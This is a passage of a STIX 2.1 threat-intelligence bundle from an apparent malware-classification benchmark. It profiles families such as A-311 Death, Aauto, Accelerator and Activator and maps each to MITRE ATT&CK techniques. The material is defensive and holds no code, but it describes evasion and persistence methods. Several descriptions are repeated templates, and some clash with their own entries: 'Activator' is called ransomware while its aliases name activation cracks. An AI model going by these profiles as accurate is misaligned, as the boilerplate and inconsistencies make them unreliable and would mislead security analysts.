      "id": "relationship--38c4d1f7-e1c5-50ae-afe3-1b2e51ee7375",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7566bf8a-eb02-584d-8e87-a2e4e3442dde",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "6B47672C exhibits technique T1204.002 (User Execution: Malicious File (Relying on the user to execute the unique payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--63005bc8-612b-52d8-9bfd-50f4555391c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7566bf8a-eb02-584d-8e87-a2e4e3442dde",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "6B47672C exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4b88a1a0-ff3a-5a2e-8220-ca6988f3f93e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "A8P9Eklc",
      "description": "A8P9Eklc (classified in antivirus detection telemetry under designations including Trojan:Win32/A8P9Eklc, Trojan.Win32.A8P9Eklc, and Win32/A8P9Eklc) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, A8P9Eklc executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Generic.DGA",
        "Suspicious.A8p9eklc",
        "Heur.A8p9eklc",
        "Trojan:Win32/A8P9Eklc",
        "Trojan.Win32.A8P9Eklc",
        "Win32/A8P9Eklc"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for A8P9Eklc",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/a8p9eklc"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bb49e37a-f7cd-5e1f-a938-cfd379e114b9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4b88a1a0-ff3a-5a2e-8220-ca6988f3f93e",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "A8P9Eklc exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--22c091c4-50fb-57e4-aea9-865a42f06867",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4b88a1a0-ff3a-5a2e-8220-ca6988f3f93e",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "A8P9Eklc exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2490117d-2a98-5358-83b0-8286a4c0ad7d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4b88a1a0-ff3a-5a2e-8220-ca6988f3f93e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "A8P9Eklc exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e2a75109-ada7-5f68-aa83-0a4b05a81316",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "A_311_Death",
      "description": "A-311 Death is a seminal Remote Administration Tool (RAT) and Trojan active during the early-to-mid 2000s threat landscape. Operating primarily as an invasive stealth backdoor, it afforded remote operators unconstrained interactive control over compromised Windows endpoints. Architecturally, A-311 Death evolved from basic client-server administrative sockets into an advanced credential-harvesting weapon, introducing form-grabbing routines targeting web browser sessions, Transaction Authentication Number (TAN) interception for banking fraud, and inline HTTP redirection mechanisms designed for banking phishing attacks. Multiple threat researchers correlate A-311 Death directly with the emergence of the notorious Haxdoor malware family, frequently identifying it as the foundational toolkit and builder from which Haxdoor variants branched. The trojan exhibited custom rootkit cloaking features to mask its process image and disk artifacts, and famously issued the greeting string 'A-311 Death welcome' across established C2 sessions upon client authentication. Distributed commercially across underground forums in Standard, Full, and Ultimate tiers, A-311 Death stood as one of the earliest commercial precursors to modern Malware-as-a-Service (MaaS) crime kits.",
      "is_family": true,
      "malware_types": [
        "trojan",
        "banking-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Haxdoor",
        "A-311",
        "Trojan.Haxdoor.A311"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for A_311_Death",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/a_311_death"
        }
      ],
      "labels": [
        "banking_trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1059: Command and Scripting Interpreter",
      "description": "MITRE ATT&CK Technique T1059 (Command and Scripting Interpreter) under tactic Execution.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1059",
          "url": "https://attack.mitre.org/techniques/T1059/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--17ab8d78-b77d-597f-82ed-6c82a18a95b4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e2a75109-ada7-5f68-aa83-0a4b05a81316",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "A_311_Death exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a1175a7-377f-58a5-84b8-3ac55b19ff40",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e2a75109-ada7-5f68-aa83-0a4b05a81316",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "A_311_Death exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1056.001: Keylogging",
      "description": "MITRE ATT&CK Technique T1056.001 (Keylogging) under tactic Credential Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1056.001",
          "url": "https://attack.mitre.org/techniques/T1056/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d0148cd0-65b7-5abc-af22-ba6404fb072a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e2a75109-ada7-5f68-aa83-0a4b05a81316",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "A_311_Death exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eb466ea9-44d3-57f8-a87b-d9c02f5e94ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e2a75109-ada7-5f68-aa83-0a4b05a81316",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "A_311_Death exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--f49c8623-aa59-5855-97a7-4a009039788d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1569: System Services",
      "description": "MITRE ATT&CK Technique T1569 (System Services) under tactic Execution.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1569",
          "url": "https://attack.mitre.org/techniques/T1569/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7d322f08-4712-5a9e-9dee-908aa82feedc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e2a75109-ada7-5f68-aa83-0a4b05a81316",
      "target_ref": "attack-pattern--f49c8623-aa59-5855-97a7-4a009039788d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "A_311_Death exhibits technique T1569 (System Services)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5e7731c1-befb-583f-b93f-d1a481f83343",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Aauto",
      "description": "AAuto (classified across antimalware research as Trojan:Win32/AAuto and TrojanDownloader:Win32/AAuto) is an automation-scripting loader trojan compiled using the AAuto/AAuto-Quicker rapid application development environment. Threat actors leverage AAuto's compact scripting syntax and native Windows API bindings to construct lightweight malware loaders that easily evade traditional static signatures. AAuto scripts drop embedded PE payloads into %APPDATA%, inject malicious DLLs into system processes, and establish autostart persistence via Windows registry Run entries. It communicates with remote command-and-control servers via HTTP/HTTPS to fetch additional secondary malware modules. (Observed samples in benchmark: 13)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/AAuto",
        "TrojanDownloader:Win32/AAuto",
        "Win32/AAuto",
        "AAuto Script Loader",
        "Trojan.AAuto"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Aauto",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/aauto"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f05be2d-6794-55df-a85a-c2a7df5e0194",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5e7731c1-befb-583f-b93f-d1a481f83343",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aauto exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a74dbd1a-5167-5ed1-ad12-5a09dcdf1066",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5e7731c1-befb-583f-b93f-d1a481f83343",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aauto exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6ff77204-b7bb-58ed-bb80-56f7489221bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5e7731c1-befb-583f-b93f-d1a481f83343",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aauto exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1562.001: Impair Defenses: Disable or Modify Tools",
      "description": "MITRE ATT&CK Technique T1562.001 (Impair Defenses: Disable or Modify Tools) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1562.001",
          "url": "https://attack.mitre.org/techniques/T1562/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--328d00d8-befa-5b54-a5c6-ebe3cca779e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5e7731c1-befb-583f-b93f-d1a481f83343",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aauto exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b5a62871-9413-5d4b-9122-7feecfd20095",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5e7731c1-befb-583f-b93f-d1a481f83343",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aauto exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--19469235-aa04-5557-afc4-984aa6974044",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Accelerator",
      "description": "Accelerator (classified in antivirus detection telemetry under designations including Backdoor:Win32/Accelerator, Backdoor.Win32.Accelerator, and Win32/Accelerator) is a interactive remote access trojan and backdoor providing remote threat actors with unauthorized terminal control, file manipulation, and surveillance. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Accelerator executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include reverse shell connections, process hollowing, privilege escalation, and lateral movement reconnaissance. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/Accelerator",
        "Backdoor.Win32.Accelerator",
        "Win32/Accelerator"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Accelerator",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/accelerator"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d342653b-2bfb-50ec-8be8-088f4bbe1c62",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19469235-aa04-5557-afc4-984aa6974044",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Accelerator exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f3d9e4a8-3001-5294-af90-4f83b2364057",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19469235-aa04-5557-afc4-984aa6974044",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Accelerator exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0b03ff49-596c-5a99-8544-832461e50e5b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19469235-aa04-5557-afc4-984aa6974044",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Accelerator exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1bbd1ed4-ff9e-5e97-a42a-5e895be41fd1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19469235-aa04-5557-afc4-984aa6974044",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Accelerator exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0a7a1b9a-df22-5b53-b2ba-9e3a0c2ef39d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Acid_Drop",
      "description": "Acid Drop (also documented in historical archives as AcidDrop or Backdoor.AcidDrop) is a vintage remote access backdoor and Trojan horse originating in the late 1990s and early 2000s underground scene. Documented comprehensively within classic archival repositories like the Kobayashi and Mega Security Trojan databases, Acid Drop exemplified the early transition from rudimentary desktop prank kits to structured remote endpoint compromise tools. The malware deployed a client-server architecture where a lightweight server executable was dropped on victim machines via deceptive archive attachments or IRC file sharing. Once executed, Acid Drop installed itself into the system directory, created persistence hooks via Windows INI files and startup registry hives, and bound a listening socket to wait for incoming operator commands. Threat actors utilizing the Acid Drop client interface could remotely browse files, initiate arbitrary process execution, restart or shut down remote machines, and inspect basic networking state.",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "AcidDrop",
        "Backdoor.AcidDrop",
        "Trojan.AcidDrop"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Acid_Drop",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/acid_drop"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--33a87632-d568-553d-9b4f-6f0008135610",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a7a1b9a-df22-5b53-b2ba-9e3a0c2ef39d",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Acid_Drop exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4253a84f-2a94-5f92-9806-47ef5b9acfd1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a7a1b9a-df22-5b53-b2ba-9e3a0c2ef39d",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Acid_Drop exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1083: File and Directory Discovery",
      "description": "MITRE ATT&CK Technique T1083 (File and Directory Discovery) under tactic Discovery.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1083",
          "url": "https://attack.mitre.org/techniques/T1083/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a497ce9a-2fbd-54d3-a732-05d4e1b3dce7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a7a1b9a-df22-5b53-b2ba-9e3a0c2ef39d",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Acid_Drop exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7450dd21-4b3f-50a3-93b2-5cebd1d9640a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a7a1b9a-df22-5b53-b2ba-9e3a0c2ef39d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Acid_Drop exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--97a31891-2d73-5b32-8939-f4ab00664e66",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Activator",
      "description": "Activator (classified in antivirus detection telemetry under designations including Ransom:Win32/Activator, Ransom.Win32.Activator, and Win32/Activator) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Activator executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.Activator",
        "Riskware.KMSpico",
        "Crack.Win32",
        "Tool.KMSAuto",
        "Ransom:Win32/Activator",
        "Ransom.Win32.Activator",
        "Win32/Activator"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Activator",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/activator"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d2b17f1d-943f-5050-a950-418882f0b54e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97a31891-2d73-5b32-8939-f4ab00664e66",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Activator exhibits technique T1204.002 (User Execution: Malicious File (Relying on the user to execute the unique payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cddbbab0-868d-5976-a8fc-be461cfa826d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97a31891-2d73-5b32-8939-f4ab00664e66",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Activator exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--58e07475-95cf-52ec-8d9d-6741a3c4fab8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97a31891-2d73-5b32-8939-f4ab00664e66",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Activator exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5ce3417b-ffdf-5b6b-9ddb-5d7306f505d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Activitymonitor",
      "description": "Activitymonitor (classified in antivirus detection telemetry under designations including Trojan:Win32/Activitymonitor, Trojan.Win32.Activitymonitor, and Win32/Activitymonitor) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Activitymonitor executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Activitymonitor",
        "Trojan.Win32.Activitymonitor",
        "Win32/Activitymonitor"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Activitymonitor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/activitymonitor"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a5583d23-496d-59e4-9e00-d296419bc286",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ce3417b-ffdf-5b6b-9ddb-5d7306f505d3",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Activitymonitor exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1113: Screen Capture",
      "description": "MITRE ATT&CK Technique T1113 (Screen Capture) under tactic Collection.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1113",
          "url": "https://attack.mitre.org/techniques/T1113/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
